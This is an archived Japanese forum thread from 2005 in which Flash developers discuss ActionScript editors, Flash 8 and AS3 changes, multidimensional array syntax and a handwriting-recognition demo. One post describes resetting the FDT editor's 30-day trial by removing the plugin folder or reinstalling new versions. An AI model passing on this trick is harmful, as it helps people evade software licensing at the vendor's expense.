SciTEFlashも悪くないけど(実際使ってるし) やっぱりSE|PYの多機能さには負けるんだよねえ。 SCiTEを元にしてるから当然だろうけど。
>>871 おれは逆にSEPYの多機能さが使いづらいんだよなぁ。
そこまで使える脳みそがないってだけなんだが。
FLASHのASパネルに気の利いた機能が、ちょこちょこっとついてくれればいいんだけど。
あとMTASC対応で。
Flash8いろいろ見てみたけど、数学系強い人が力を発揮できそうだね。
というと
ASによる描画が強化されたんだが マトリックス関係の操作が増えたと聞く。
asエディタ
プログラマのいい遊び道具になってきたな
880 :
Now_loading...774KB :2005/09/22(木) 09:04:27 ID:gufafe0s
ho
FlashのActionScriptエディタでホイールを上に回すといきなり最上段までスクロールする現象は、「どこでもホイール」で解決できるってのはがいしゅつ(←なぜか変換できない)ですか? 今気づいてペタウレシスだったんですが、既にパッチ出てたんだったら悲しいなと。
元からそんな現象に悩まされてなかったので何とも・・・
883 :
Now_loading...774KB :2005/09/26(月) 10:34:32 ID:nu+5XKwL
>>882 マヂっすか!
ちなみに環境はこれ。
・Windows XP Professional SP2
・Macromedia Studio MX 2004 Professional (FlashMX2004proは7.2)
この他にOffice2003やVS6やVS2003やSQL Server2003やFCS1.5なんかが入ってます。
マウスはMicrosoft Wireless IntelliMouse Explorer 2.0でIntelliPoint5.2です。
IntelliPoint5.2ってVB6のコードウィンドウでスクロールできなかったりと色々問題が多いんで、それ絡みかも。
オレ以外食らってないって何かサミシイ(´・ω・`)ショボン
オレもそんな現象起こったこと無いなぁ
>>883 ああ、その症状があったね。
かれこれ1年半前にMSワイヤレスエクスプローラー2を買った時にその症状が出たので、
それ以来IntelliPoint5を入れてない。
要はFLASH関係ないと。 で、FLASH8でASなんか変わった? 2.0だから同じだよね?
>>886 APIが増えたくらいで、言語的な仕様変更はない。
プログラマとしては、一見地味なバージョンアップだったけど、
ちゃんと見てみると、エフェクト類が非常に増えていて、それをASでコントロールできるので
一番凄いバージョンアップかもしれない。
Macromediaとしては、今までASの仕様作成にリソースを投入してきたけど、
一応AS2で完成したという事で、これからはFlash playerの表現力アップにリソース投入。
ASには新機能のAPIを追加、という方向性みたい。
getterが値を返せないのが個人的に不完全だと思う。
>>888 もち、俺も個人的にはAS2にはいろいろ不満があるね。
つかgetterは治ってるんじゃないかな〜と期待する。 あれはコンパイラの判定を変更するだけだから。 function get hoge(arg){ _hoge = arg; return arg; } とかできるようになれば hoge2 = hoge = "aaa"; こういう記述ができるようになるし。
891 :
Now_loading...774KB :2005/10/07(金) 10:34:20 ID:xQXPKxQ2
AS3が来るどー!
キタ━━━━━(゚(゚∀(゚∀゚(☆∀☆)゚∀゚)∀゚)゚)━━━━━イ!!
>3.0 では、コンパイル時の厳格な型チェックを行うコンパイルモードをサポートし、 これは助かる それに合わせて配列を強化してくれんかな…… 何回もnew Arrayとかやってられないっすよ!(AA略
>何回もnew Arrayとかやってられないっすよ!(AA略 どういう意味?
多次元配列death
普通にこうやればいいんじゃないの? それとも他言語は別のやり方があるのか? myArray = new Array(); for(i=0;i<5;i++){ myArray[i] = new Array(); for(j=0;j<5;j++){ myArray[i][j] = new Array(); } }
>>897 int array[20][20][20];
20×20×20の整数型配列のできあがり。中身は初期化もされんけどな
正規表現サポートかぁ。 いよいよJavaScriptだな。
外部出力(保存)できるようになんないかなぁ〜
変数の型指定が気持ち悪いです
ちゃんと、抽象クラスは使えるようになってるんだろうな
var list:Array = [ [], [], [] ]; これでええやん。
>>904 30立方の3次元配列とかだったらどうするよ?w
設計が悪い
そんなw
>905 30立方の3次元配列の宣言は多言語だとどう書くの?
>>908 いや、だから int a[30][30][30]
MMSave("テスト","test.txt") でテキスト出力できるってしってた? オーサリング時のみけど。
>909 それは何にも値を入れない初期化宣言だよな。 宣言時値を代入する場合はActionScript同様に面倒になるわけだ。 配列操作処理時に随時配列を生成することは別になんら問題はないと思うが。 配列数はどこか変数に用意でもしとけばいい。
俺も、配列の初期化宣言は気にならないね。 実際、これ配列じゃなくてコレクションクラスだし。 個人的には、Arrayから値を取り出す時にキャストしないで使えちゃうのが気持ち悪い。
>>912 自分は記憶領域を確保するのとデータの代入を
同時にやるってのが気持ち悪く感じるんだよなあ。
データ代入時に速度が求められるときもあるし。
var num = 0;
くらいの量ならいいけど、30立方の3次元配列に
外部ファイルからデータ読み込みとかするときは
配列の宣言→データの代入と分けてやりたい。
そうすると
>>897 みたいなことをやることになるが、
まんどくさい。
・宣言時に大きさが決まって、以後変更できない
・多次元配列でも一行で宣言できる
・pushとかpopとかの機能はないがそのぶん高速
な配列クラスがホスィ
>>913 まあ、他の言語と同様の配列があってもいい、という点は納得できるが、
3次元配列はなるべく使わん方がいいよ。
共同作業や修正の時、
書く方はいいけど、読む方が大変。
プロパティ名には数字ではなく英語を使え。っと
「4人のキャラの、レベル1からレベル20までのHP、MP、攻撃力、守備力を定義したい」とかいう場合は int pals[4][20][4]; とか出来るとラクなんだけどね(実際には動的に確保するだろうけど) 3次元配列を避ける場合、「1人のキャラのデータ」をクラスにすることになるのかな。
>>916 HP、MP、攻撃力、守備力に配列を割り当てるのはちょっとおかしい気がする。
少なくとも連想配列にするべき。
多次元配列を1行で宣言できたら楽ってのには別に異論無いけど。
連想配列はどうもオーバーヘッドが大きくなりそうで敬遠しちゃうんだよな 非リアルタイムRPGのパラメータくらいなら無問題なんだろうけど。
まあどう使うかは別として 他言語と同じにしたいって要望はありだよね。 ASの機能としてできないこともないだろうし。
>>918 8とか8.5ではわからないけどFlashMXとかの時点では配列参照もオブジェクト参照も同等のコストだったような。
たぶん配列参照自体がオブジェクト参照で作られてた。(連続メモリじゃなくハッシュってことで)
いずれもっとプリミティブな配列はほしいのかもね。自動拡張とかはやらなくてもいいから。
>>918 アルゴリズムの最適化では頑張るべきだが、
変数の取り出し方で最適化しようとするのは、無駄な努力だよ。
理由は、
>>920 の通りだし、
その手の最適化は、人間の仕事じゃなくて、コンパイラの仕事。
922 :
初期不良 :2005/10/10(月) 17:50:58 ID:468RyHxm
そんなことより Array にキャストできないの何とかならんの?
死ぬほど重いUIコンポーネントもなんとかしてくだちい
gifとかpngとか読み込めるようになるといいけど・・・。
925 :
Now_loading...774KB :2005/10/12(水) 16:53:32 ID:uJIhxYP0
実行時に、Flash アプリケーションにロードできるメディアファイルには、SWF、MP3、JPEG、GIF、PNG、FLV ファイルの 6 種類があります。
おお!そりゃ嬉しい。 FlashPlayer8限定かな?
そうですよ
遅レスだが、C系他言語の多次元配列って初期化できるぞ。 int ary[][][] = { { {10} , {20,30} , {40,50,60} } , { {70,80,90,100} } }; 次元数が増えたら {} のネストを増やすだけ。
デバイスフォントにマスクを・・・
はい?
デバイスフォントにマスクをかけれるようになったらいいなという意味でわ?
もうなってるよ・・・
setMask使わずに。
おまえはスレタイ読めないのか?
コンポーネントとか作るときに色々ね。 いや、そんな怒るなよ。 ごめんなさい私が悪かったですあなたのスレで関係ない話を3レスもしてしまってあなたを不快にしてしまってすいませんでした。
俺はこころがひろいから、934に代わって許すよ。
>他スレでは話題に上がりづらいFLASH周りのコアな技術交換&雑談にもご利用下さい。
どっちにしろ
>>929 の様ないい加減な発言したからだろが
意地悪にしか教えられないやつもいるからな
俺は教えもせんがな
AS3 はかなりアレだ、今までとは全然違うものだコレは
flex覚えた方がいいのかなぁ
>>941 どう違うの?
今から開発しようとしてるのでAS2使おうと思ってるんだけど、AS3のほうがよさげかなあ??
>>943 プロパティやらメソッドがかなりの部分変わるので再習得が必要となるかも、
しかし、そのために1年待つこともあるまいよ。
>942 悩むよなぁ・・・ 「悩む前に覚えりゃいいじゃん」って言われそうだけど、ない時間作ってまで使えるようにならんといかんのか微妙なところだ。 サンプルみてもかなりアレだし。
FDTを買うか迷うなあ。 Flash9と同時にEclipseベースの純正開発環境が発表されたら、FDT死亡だな。 Flex Builderを改造すれば、すぐにできそうだし。
Removed. Moved to .... orz
グローバルで使えてたものがパッケージ化されたってことでそ? _xscaleがscaleXになるのってなんか深い理由あるのかな?
ECMAScriptのNaming Conventionsに準拠させたってことじゃないの
>>952 そうするとアルファベット順にプロパティ並べた時に隣接するからじゃない?
俺は アンダーバーなしとありが混在しているので、統一したと見た。 アンダーバーって、Flash4時代のコードの名残でしょ。
そうだな。 「_」をprivateのマークにする場合も多いし。
統一するなら単に xscale とすりゃいいだろうし、文字の並び順なんて日本人的発想はない 言語仕様をより高度にするついでにECMAScriptの一般的な表記法に変えただけ
携帯のほうが最近どうなるのか興味あるなぁ。
>948 FDTは使用期限過ぎても使用できるので、まあそのまま使っていればいいんじゃない? eclipseのプラグインフォルダをアンインストール、又は FDTのバージョンが上がるたびに30日お試し期限がリセットされるし。 せこい方法だけどさ。
プログラムやったことなくて、最近ASはじめたばかりの俺には ここの人たちが全員神に見えるorz
あれ、今日って10日くらいじゃなかったっけ 18日?あれ? あああおあああああ!
>>963 (´-`).。oO(どんなリアクションすればいいんだろう?)
>>963 (´-`).。oO(それなんてマルチ(ry)
>>965 (´-`).。oO(それが日立クオリティ)
>>965 彡´-`ミ.。oO(あんな風に小ネタでなりふり構わずレスをもらいにいける
日立さんの事が、逆にうらやましい・・・。)
エディタ何使ってますか。 SEPY使ってるんだけど、他に良さそうなのがあれば知りたいですな。
970 :
初期不良 :2005/12/03(土) 11:01:01 ID:/EFJjSVH
971 :
未来人 :2005/12/11(日) 22:10:36 ID:rDVN+l8T
AS10.5 では全ての言語がレンダリングできるらしいぜ! 悪意コード仕込みで逮捕者続出。
オレの字が下手なのか全く認識されなかった。でももし動くんなら、これっすっげぇね。
「ナ」書いたら「5」だって
>>973 マウスで描くとあんまり認識率が良くないです。もしあればタブレットで。
>>974 カタカナは辞書に入ってないんで...
今の所ひらがなと数字だけ。
976 :
973 :2005/12/13(火) 06:17:11 ID:fboq4hzU
タブレットでやったんだけどね。 あれから、ずいぶんやりましたが、 1、に、こ、き、さ がうまく認識することがあった。 1だけはかなり優秀。 巴が悪いのか? まだまだ使い物にならんすね。がんばれ。 もっと単純なことから始めたほうが実用的かもです。 たとえば二つの線の間のピクセル距離を測るとか。
俺がやるとほぼ100%ヒットするんだが。
ソースを見る限りがちがちだから人を選ぶような気もしてきた。 サンプルをなぞるように書いたら認識するね。 すごいね。(きちんと認識できると嬉しい)。 暇があったら改良について考えてみます。 ちょっと興味ありますね。 どちらにしても、大きな一歩なんじゃないかな。 今の段階なら 書き方のお手本を添えておくと親切かもしれません。
「そ」と「ろ」の認識が甘いね。(そ の上をつなげると) なんども学習させてみたけど改善しなかった。 その上をチョンチョンにするか、横棒にするか、とか いが繋がってたりとか、そういう亜流の描き方をすると難しいんだろうね。
>>972 お前まだflash作ってんの?
せいぜいちっちゃいコミュニティで虚勢張ってろよw
ちっちゃいコミュニティてなんだ?
カッとして書き込んだんだろ、そっとしとけ。
985 :
Now_loading...774KB :
2005/12/22(木) 01:30:22 ID:Dj6CR8TB